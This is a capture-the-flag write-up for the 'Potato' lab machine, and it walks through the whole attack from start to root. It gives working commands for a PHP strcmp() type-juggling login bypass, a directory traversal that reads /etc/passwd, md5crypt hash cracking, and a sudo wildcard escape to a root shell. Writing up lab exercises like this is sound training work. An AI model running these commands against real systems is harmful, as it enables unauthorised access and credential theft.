Skip to content
HackIndex logo

HackIndex

Potato Writeup - Proving Grounds

Easy Linux

Last updated May 10, 2026 3 min read

Joshua

HackIndex Creator

Discovery

Three open TCP ports: SSH on 22, HTTP on 80, and ProFTPD on port 2112. The FTP service allows anonymous login and already lists an interesting file: index.php.bak.

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Potato company
2112/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 ftp   ftp   901 Aug  2  2020 index.php.bak
|_-rw-r--r--   1 ftp   ftp    54 Aug  2  2020 welcome.msg

Enumeration

FTP — Source Code Leak

Download everything from the FTP share anonymously:

┌──(kali㉿kali)-[~]
└─$ wget -r --user="anonymous" --password="anonymous" ftp://$TARGET_IP:2112/
index.php.bak  saved [901]
welcome.msg    saved [54]

index.php.bak contains the login source for the admin panel. The password comparison uses strcmp():

<?php
$pass= "potato"; //note Change this password regularly

if($_GET['login']==="1"){
  if (strcmp($_POST['username'], "admin") == 0  && strcmp($_POST['password'], $pass) == 0) {
    echo "Welcome! </br> Go to the <a href=\"dashboard.php\">dashboard</a>";
    setcookie('pass', $pass, time() + 365*24*3600);
  }else{
    echo "<p>Bad login/password!...</p>";
  }
  exit();
}
?>

strcmp() in PHP returns 0 (truthy-false) when comparing a string to an array — a classic type-juggling bypass. Passing password[] as an array instead of a string causes strcmp() to return NULL, which evaluates as equal to 0.

Directory enumeration finds /admin/ with a login form and a /admin/logs/ directory.

Admin Login Bypass

┌──(kali㉿kali)-[~]
└─$ curl 'http://$TARGET_IP/admin/index.php?login=1' -X POST --data-raw 'username=admin&password[]=anything'
<html><body>
Welcome! </br> Go to the <a href="dashboard.php">dashboard</a>

Directory Traversal — Password Disclosure

The dashboard's log viewer at /admin/dashboard.php?page=log POSTs a file parameter. It reads and displays the selected file with no path sanitisation — a directory traversal. Reading the live index.php reveals the actual current password set in the running application:

┌──(kali㉿kali)-[~]
└─$ curl 'http://$TARGET_IP/admin/dashboard.php?page=log' \
-X POST \
-H 'Cookie: pass=<session_cookie>' \
--data-raw 'file=../index.php'
Contenu du fichier ../index.php :
$pass= "serdesfsefhijosefjtfgyuhjiosefdfthgyjh";

The same traversal also reads /etc/passwd, which exposes a non-standard entry: webadmin with a $1$ MD5crypt hash embedded directly in the passwd file.

┌──(kali㉿kali)-[~]
└─$ curl 'http://$TARGET_IP/admin/dashboard.php?page=log' \
-X POST \
-H 'Cookie: pass=<session_cookie>' \
--data-raw 'file=../../../../../../../../etc/passwd'
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash

Extract the hash and crack it with hashcat mode 500 (md5crypt):

┌──(kali㉿kali)-[~]
└─$ hashcat -a 0 '$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' /usr/share/wordlists/rockyou.txt -m 500 -w 3
$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:$WEBADMIN_PASSWORD

Status: Cracked
Hash.Mode: 500 (md5crypt)

Initial Access

┌──(kali㉿kali)-[~]
└─$ ssh webadmin@$TARGET_IP
[email protected]'s password:
webadmin@serv:~$

Privilege Escalation

Check sudo permissions:

user@host ~ $ sudo -l
User webadmin may run the following commands on serv:
    (ALL : ALL) /bin/nice /notes/*

The rule allows running /bin/nice with any path matching /notes/* as root. The wildcard only validates the prefix — it doesn't prevent path traversal. Passing /notes/../bin/bash satisfies the glob match while actually executing /bin/bash as root:

user@host ~ $ sudo /bin/nice /notes/../bin/bash
root@serv:/home/webadmin#

Root shell obtained.

References